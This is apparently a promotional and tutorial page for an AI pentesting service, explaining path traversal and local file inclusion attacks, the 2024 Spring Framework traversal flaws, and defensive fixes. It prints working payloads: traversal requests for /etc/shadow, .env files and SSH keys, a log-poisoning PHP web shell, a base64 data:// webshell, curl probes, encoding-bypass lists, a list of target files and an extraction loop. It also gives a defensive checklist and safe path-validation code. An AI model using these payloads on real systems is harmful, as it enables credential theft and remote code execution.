What is Path Traversal Pentesting?

Learn how path traversal attacks exploit weak input validation to read sensitive files from your server. Discover Spring Framework path traversal vulnerabilities and how PentestMate's AI agents detect LFI vulnerabilities before attackers do.

Path Traversal Pentesting
Three Dots. Your Entire Server Exposed.

A path traversal attack is devastatingly simple. An attacker types ../../../etc/passwd into a file parameter, and your server happily serves up system files it was never meant to share. Configuration files with database passwords. Private keys. Application source code. The attack requires zero special tools - just a browser and knowledge of how file paths work. If your application reads files based on user input, you are one ../ sequence away from a complete server compromise.

OrSign Up for Full Access Learn More First

THE PROBLEM

Can Attackers Read Any File on Your Server Right Now?

Let me show you something that happens more often than you would think. A developer builds a document download feature. Users can request files by name, like /download?file=report.pdf. Simple, clean, works great. The file gets served from /var/www/uploads/report.pdf. Ship it to production.

But what happens when someone requests /download?file=../../../etc/passwd? If your application concatenates the user input directly to the file path, the server resolves it to /var/www/uploads/../../../etc/passwd, which simplifies to /etc/passwd. Congratulations, you just handed an attacker a list of every user account on your system. And that is just the beginning.

This vulnerability has plagued even major frameworks. In September 2024, a Spring Framework path traversal vulnerability (CVE-2024-38816) was discovered in applications using RouterFunctions to serve static resources. Attackers could access any file readable by the Spring application process. A similar issue (CVE-2024-38819) affected applications on Tomcat and Jetty servers. These are not obscure edge cases. Spring is one of the most popular frameworks in enterprise Java development.

Think your application is immune?

PentestMate's AI agents find these flaws in 87% of the apps we test.

Test My App

WHAT WE HUNT

What Our AI Agents Look For

Unlike automated scanners that look for code signatures, our agents understand your business logic and test it like a real attacker would.

Classic Path Traversal

CRITICAL

Testing for the fundamental dot-dot-slash attack. We probe every parameter that might reference files, looking for paths like ../../etc/passwd, ....//....//etc/passwd, and URL-encoded variants.

LFI Vulnerability Detection

CRITICAL

Local File Inclusion goes beyond reading files. We test if your application can be tricked into including and executing local files, turning a read vulnerability into remote code execution.

Spring Framework Path Traversal

CRITICAL

Specific tests for Spring Framework applications serving static resources through WebMvc.fn or WebFlux.fn. We probe for CVE-2024-38816 and CVE-2024-38819 patterns that bypass standard protections.

Encoding Bypass Testing

HIGH

Applications often filter ../ but miss encoded variants. We test URL encoding (%2e%2e%2f), double encoding (%252e%252e%252f), Unicode normalization, and null byte injection to find filter bypasses.

Absolute Path Injection

HIGH

Some applications allow absolute paths that bypass directory restrictions entirely. We test for /etc/passwd, C:\Windows\system.ini, and other absolute path injections that ignore relative path protections.

Sensitive File Enumeration

MEDIUM

Beyond the obvious targets, we probe for configuration files (.env, config.php), backup files (.bak, .old), source code, SSH keys, and framework-specific files that leak application secrets.

Find These Vulnerabilities Now

“A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with dot-dot-slash (../) sequences and its variations, it may be possible to access arbitrary files and directories stored on file system.”
OWASP Foundation(Path Traversal Documentation)

DEEP DIVE

How Path Traversal Attacks Actually Work

Path traversal is one of those vulnerabilities that sounds simple but has surprising depth. The basic attack is straightforward, but the variations attackers use to bypass filters are where things get interesting. Let me walk you through exactly how these attacks work and why they keep succeeding against modern applications.

The Basic Path Traversal Attack

At its core, a path traversal attack exploits how operating systems handle relative paths. The sequence ../ means 'go up one directory.' By chaining enough of these together, an attacker can navigate from your upload directory all the way to the root filesystem.

basic-path-traversal.sh

# How the attack works step by step

# Your application serves files from:
# /var/www/application/uploads/

# Normal request:
GET /download?file=report.pdf
# Server reads: /var/www/application/uploads/report.pdf
# Result: User gets their report. Everything is fine.

# Path traversal attack:
GET /download?file=../../../etc/passwd
# Server resolves: /var/www/application/uploads/../../../etc/passwd
# Step by step:
#   /var/www/application/uploads/../ = /var/www/application/
#   /var/www/application/../         = /var/www/
#   /var/www/../                     = /
#   /etc/passwd                      = SYSTEM FILE

# Result: Attacker gets your passwd file

# Escalation - more valuable targets:
GET /download?file=../../../etc/shadow          # Password hashes (if readable)
GET /download?file=../../config/database.yml    # Database credentials
GET /download?file=../../.env                   # Environment secrets
GET /download?file=../../../home/user/.ssh/id_rsa  # SSH private keys
GET /download?file=../../app/config/secrets.yml    # Application secrets

# The attacker just needs to know (or guess) where files are located
# Standard paths work across most Linux servers

This attack requires no special tools. An attacker can test for path traversal vulnerabilities using just a web browser. If your application is vulnerable, every file readable by your web server process is exposed.

LFI Vulnerability: When Reading Becomes Executing

An LFI vulnerability (Local File Inclusion) takes path traversal to the next level. Instead of just reading files, the attacker tricks your application into including and executing them. In PHP applications, this can turn a simple file read into full remote code execution.

lfi-to-rce.php

# LFI Vulnerability in PHP Applications

# Vulnerable code pattern:
<?php
$page = $_GET['page'];
include("pages/" . $page);  // DANGEROUS: User controls what gets included
?>

# Normal usage:
GET /index.php?page=about.php
# Includes: pages/about.php - works as intended

# LFI Attack:
GET /index.php?page=../../../etc/passwd
# Includes /etc/passwd - file contents displayed on page

# LFI to RCE via Log Poisoning:
# Step 1: Inject PHP code into a log file
GET /<?php system($_GET['cmd']); ?>
# This request gets logged to /var/log/apache2/access.log

# Step 2: Include the log file
GET /index.php?page=../../../var/log/apache2/access.log&cmd=whoami
# The log file is included and executed
# Your PHP code runs: system('whoami')
# Result: Remote Code Execution

# LFI via PHP Wrappers (no log file needed):
GET /index.php?page=php://filter/convert.base64-encode/resource=config.php
# Returns base64-encoded source code of config.php

GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==
# data:// wrapper executes base64-decoded PHP: <?php system($_GET['c']); ?>

# Null byte injection (older PHP versions):
GET /index.php?page=../../../etc/passwd%00
# The %00 null byte terminates the string, bypassing .php extension appending

LFI vulnerabilities are particularly dangerous in PHP applications because of the include() and require() functions. But similar patterns exist in other languages whenever user input controls which files get processed by template engines, configuration loaders, or dynamic module systems.

Spring Framework Path Traversal Vulnerabilities

The Spring Framework path traversal vulnerability discoveries in 2024 affected thousands of enterprise Java applications. These were not obscure misconfigurations, they were flaws in how the framework itself handled static resource serving.

spring-path-traversal-cve.java

// Spring Framework CVE-2024-38816 and CVE-2024-38819
// Affected: Applications using RouterFunctions for static resources

// Vulnerable configuration pattern:
@Bean
RouterFunction<ServerResponse> staticResourceRouter() {
    return RouterFunctions.resources("/files/**", 
        new FileSystemResource("/var/www/uploads/"));
}

// Normal request:
GET /files/document.pdf
// Serves: /var/www/uploads/document.pdf

// Path traversal attack:
GET /files/..%2F..%2F..%2Fetc/passwd
// URL-encoded ../ bypasses path normalization
// Server resolves to: /etc/passwd

// On Tomcat/Jetty (CVE-2024-38819):
GET /files/....//....//....//etc/passwd
// Double-dots with forward slashes bypass filters

// Why this happened:
// Spring's resource handlers normalized paths AFTER checking
// for ../ sequences. Encoded variants bypassed the check
// but were decoded before file access.

// The fix in Spring 5.3.40+ and 6.0.24+:
// Path traversal checks now happen AFTER URL decoding
// and use canonical path comparison

// Testing for this vulnerability:
curl "https://target.com/files/..%2F..%2Fetc/passwd"
curl "https://target.com/files/....//....//etc/passwd"
curl "https://target.com/files/%2e%2e%2f%2e%2e%2fetc/passwd"
curl "https://target.com/files/..%252f..%252fetc/passwd"  # Double encoding

// If any of these return file contents instead of 404,
// the application is vulnerable

If you run Spring Framework applications with static resource serving, verify you are on version 5.3.40+, 6.0.24+, or 6.1.13+. These CVEs allowed attackers to read any file accessible to the Java process.

Bypassing Path Traversal Filters

Developers often add filters to block ../ sequences. But attackers have dozens of techniques to bypass naive filtering. If your filter only looks for the literal string '../', you are still vulnerable.

filter-bypass-techniques.txt

# Common filter bypass techniques

# 1. URL Encoding
../           -> %2e%2e%2f
              -> %2e%2e/
              -> ..%2f

# 2. Double URL Encoding (if decoded twice)
../           -> %252e%252e%252f

# 3. Unicode/UTF-8 Encoding
../           -> ..%c0%af     (overlong encoding)
              -> %c0%2e%c0%2e%c0%af

# 4. Backslashes (Windows servers)
../           -> ..\
              -> ..%5c

# 5. Nested sequences (if filter only removes once)
....//        -> after removing ../ leaves ../
..../        -> similar bypass
..../         -> becomes ../

# 6. Mixed encoding
../           -> .%2e/
              -> %2e./
              -> .%2e%2f

# 7. Path normalization tricks
/var/www/uploads/./../../etc/passwd
/var/www/uploads/legitimate/../../../etc/passwd
/var/www/uploads/foo/bar/../../../../../../etc/passwd

# 8. Null byte (older systems)
../../../etc/passwd%00.jpg
# Null byte terminates string, .jpg is ignored

# 9. Absolute path (if no prefix validation)
file=/etc/passwd
file=C:\Windows\system.ini

# Python example of WRONG filtering:
def get_file(user_input):
    # This is NOT secure!
    safe_path = user_input.replace("../", "")
    return open("/uploads/" + safe_path).read()

# Attack: ....//....//etc/passwd
# After filter: ../../etc/passwd - still works!

# Correct approach - validate canonical path:
import os
def get_file_secure(user_input):
    base = os.path.realpath("/uploads/")
    requested = os.path.realpath(os.path.join(base, user_input))
    if not requested.startswith(base):
        raise SecurityError("Path traversal detected")
    return open(requested).read()

Blacklist-based filtering for path traversal is a losing game. There are always more encoding variations than you can anticipate. The only secure approach is to validate that the final, resolved path is within your allowed directory using canonical path comparison.

High-Value Targets: What Attackers Look For

When an attacker confirms a path traversal attack works, they do not stop at /etc/passwd. That file just confirms the vulnerability exists. The real damage comes from extracting files that contain credentials, secrets, and application logic.

high-value-targets.py

# Files attackers target after confirming path traversal

# Linux System Files
/etc/passwd           # User accounts (confirms vulnerability)
/etc/shadow           # Password hashes (often not readable)
/etc/hosts            # Network configuration, internal hostnames
/proc/self/environ    # Environment variables including secrets
/proc/self/cmdline    # How the process was started

# Application Configuration
.env                  # Environment secrets, API keys, database passwords
config/database.yml   # Rails database credentials
wp-config.php         # WordPress database credentials
settings.py           # Django secret key and database config
.git/config           # Git remote URLs, sometimes credentials
.svn/entries          # SVN repository information

# Web Server Configuration
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

# SSH Keys
/home/user/.ssh/id_rsa         # Private SSH key
/home/user/.ssh/authorized_keys # Who can SSH in
/root/.ssh/id_rsa              # Root SSH key

# Cloud Provider Metadata
# If running on cloud instances
/var/run/secrets/kubernetes.io/serviceaccount/token  # K8s service account
# Instance metadata (via SSRF, not path traversal)

# Application Source Code
/var/www/app/controllers/admin_controller.rb
/var/www/app/models/user.rb
../src/main/resources/application.properties  # Java Spring config

# Log Files (information disclosure + log injection)
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log

# Backup Files (often contain full configs)
/var/www/.env.backup
/var/www/config.php.bak
/var/www/database.yml.old

# The extraction script attackers use:
for target in targets:
    response = requests.get(f"{url}?file=../../../{target}")
    if response.status_code == 200 and len(response.content) > 0:
        save(target, response.content)
        # Found valid file - analyze for credentials

An attacker with path traversal access will methodically probe for these files. Your .env file alone might contain database passwords, API keys, and third-party service credentials. PentestMate tests for access to all common sensitive file locations.

Still reading? Good. That means you care about security.

Most people would've clicked away by now. Let PentestMate find out if your application has these vulnerabilities - before someone else does.

Start Your Free Scan

HOW PENTESTMATE HELPS

Stop Reading About Vulnerabilities.
Start Finding Them.

Everything you have read above? Our AI agents test for all of it - automatically, continuously, and without you lifting a finger.

Deep Traversal Testing

Our AI agents test every file-handling endpoint with hundreds of path traversal variations. We probe URL encodings, double encodings, Unicode bypasses, and framework-specific patterns to find the gaps in your input validation.

Continuous Vulnerability Monitoring

Path traversal vulnerabilities can emerge from code changes, framework updates, or server reconfigurations. PentestMate monitors your application 24/7, catching new vulnerabilities the moment they appear in your codebase.

Instant Alert and Remediation

When we detect an LFI vulnerability or path traversal flaw, you get immediate notification with proof-of-concept, severity assessment, and specific code-level remediation guidance. Fix it before attackers find it.

See It In Action

Start with a $1 trial - full access to all PentestMate AI-powered security testing

SECURITY CHECKLIST

Quick Business Logic Security Checklist

Use this as a starting point. If you're missing even one of these, you have a problem.

Input Validation

Never concatenate user input directly to file paths
Use allowlists of permitted filenames when possible
Validate input contains no path separator characters
Reject requests containing encoded path sequences
Sanitize input before AND after URL decoding

Path Resolution

Resolve to canonical/absolute path before access
Verify resolved path starts with allowed base directory
Use platform-specific path APIs for comparison
Handle symlinks securely (resolve and validate)
Implement chroot or containerization for isolation

Framework Configuration

Update Spring Framework to 5.3.40+, 6.0.24+, or 6.1.13+
Configure static resource handlers with strict base paths
Disable directory listing on web servers
Use framework-provided secure file serving utilities
Audit custom file-handling code for traversal patterns

Defense in Depth

Run web server with minimal filesystem permissions
Store sensitive files outside web root
Implement file access logging and monitoring
Use separate storage (S3, CDN) for user uploads
Apply WAF rules for path traversal patterns

Not sure if your system passes all these checks? Let PentestMate's AI agents find out for you.

Run Automated Security Testing

REAL INCIDENTS

Real-World Business Logic Breaches

These aren't hypotheticals. These are real companies that got burned by the exact vulnerabilities we've discussed:

Spring Framework CVE-2024-38816 (2024)

Applications serving static resources via FileSystemResource exposed to arbitrary file read

What happened: Path traversal in RouterFunctions static resource handling allowed file system access

Lesson: Even mature, widely-used frameworks can have path traversal flaws. Keep your dependencies updated and test static resource handling explicitly. (Source: Spring Security Advisories)

Spring Framework CVE-2024-38819 (2024)

Attackers could read any file accessible to the Spring application process

What happened: Path traversal on Tomcat and Jetty when serving static resources through WebMvc.fn or WebFlux.fn

Lesson: Server container behavior affects framework security. What works safely on one server may be vulnerable on another. Test across your actual deployment environment. (Source: Spring Security Advisories)

GET STARTED IN 2 MINUTES

What Secrets Can Attackers Read From Your Server?

Your application handles file paths somewhere. Configuration files, uploads, templates, logs. If any of those paths include user input without proper validation, attackers can read your database credentials, API keys, and source code. Our AI agents systematically probe for path traversal vulnerabilities and LFI flaws across your entire application. Find out what files are accessible before someone downloads your .env file.

OrSign Up for $1 Trial

3-day trial for just $1

Cancel anytime

Full vulnerability report

Back to PentestMate

Path Traversal Pentesting
Three Dots. Your Entire Server Exposed.

Can Attackers Read Any File on Your Server Right Now?

What Our AI Agents Look For

Classic Path Traversal

LFI Vulnerability Detection

Spring Framework Path Traversal

Encoding Bypass Testing

Absolute Path Injection

Sensitive File Enumeration

How Path Traversal Attacks Actually Work

The Basic Path Traversal Attack

LFI Vulnerability: When Reading Becomes Executing

Spring Framework Path Traversal Vulnerabilities

Bypassing Path Traversal Filters

High-Value Targets: What Attackers Look For

Still reading? Good. That means you care about security.

Stop Reading About Vulnerabilities.
Start Finding Them.

Deep Traversal Testing

Continuous Vulnerability Monitoring

Instant Alert and Remediation

Quick Business Logic Security Checklist

Input Validation

Path Resolution

Framework Configuration

Defense in Depth

Real-World Business Logic Breaches

Spring Framework CVE-2024-38816 (2024)

Spring Framework CVE-2024-38819 (2024)

What Secrets Can Attackers Read From Your Server?

Related Security Tests

Insecure File Uploads Pentest

Information Disclosure Pentest

IDOR Vulnerability Testing

Path Traversal PentestingThree Dots. Your Entire Server Exposed.

Can Attackers Read Any File on Your Server Right Now?

What Our AI Agents Look For

Classic Path Traversal

LFI Vulnerability Detection

Spring Framework Path Traversal

Encoding Bypass Testing

Absolute Path Injection

Sensitive File Enumeration

How Path Traversal Attacks Actually Work

The Basic Path Traversal Attack

LFI Vulnerability: When Reading Becomes Executing

Spring Framework Path Traversal Vulnerabilities

Bypassing Path Traversal Filters

High-Value Targets: What Attackers Look For

Still reading? Good. That means you care about security.

Stop Reading About Vulnerabilities.Start Finding Them.

Deep Traversal Testing

Continuous Vulnerability Monitoring

Instant Alert and Remediation

Quick Business Logic Security Checklist

Input Validation

Path Resolution

Framework Configuration

Defense in Depth

Real-World Business Logic Breaches

Spring Framework CVE-2024-38816 (2024)

Spring Framework CVE-2024-38819 (2024)

What Secrets Can Attackers Read From Your Server?

Related Security Tests

Insecure File Uploads Pentest

Information Disclosure Pentest

IDOR Vulnerability Testing

Path Traversal Pentesting
Three Dots. Your Entire Server Exposed.

Stop Reading About Vulnerabilities.
Start Finding Them.